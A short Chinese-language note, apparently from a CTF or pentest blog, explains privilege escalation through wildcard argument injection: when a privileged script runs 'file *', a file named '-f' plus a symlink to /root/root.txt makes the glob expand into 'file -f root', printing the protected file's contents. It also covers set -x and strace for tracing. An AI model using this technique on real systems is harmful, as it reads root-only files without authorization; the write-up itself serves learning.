一、file 参数提权
当高权限文件 中有 file * 命令,可以read_file提权
file * #查看所有文件的类型 ln -sv /root/root.txt root #root 指向/root/root.txt file -f root #查看root中的内容
ls + ls --color=auto -f root user.txt
file * + file -f root user.txt a2b3946358a96bb7a92f61a759a1d972: cannot open `a2b3946358a96bb7a92f61a759a1d972' (No such file or directory) user.txt: ASCII text
二、Linux shell 中命令执行
set
命令可以用来设置 shell 的行为特性。其中,-x
选项可以在执行脚本或者命令时显示所有的命令以及它们的参数,这样可以帮助你看到命令执行的每一步,然后执行你的命令序列。执行完毕后,使用set +x
来关闭调试输出
strace
用来跟踪程序执行时的系统调用和接收到的信号。通过 strace
,你可以看到命令执行过程中与内核交互的详细信息
可以看到上面 file * 中,因为 *指代 的文件的文件名 被认为设计为参数的样子
file -f root 被执行了
这是什么原理? * 指代的文件名被全部写到命令行中,然后当成一整个命令执行。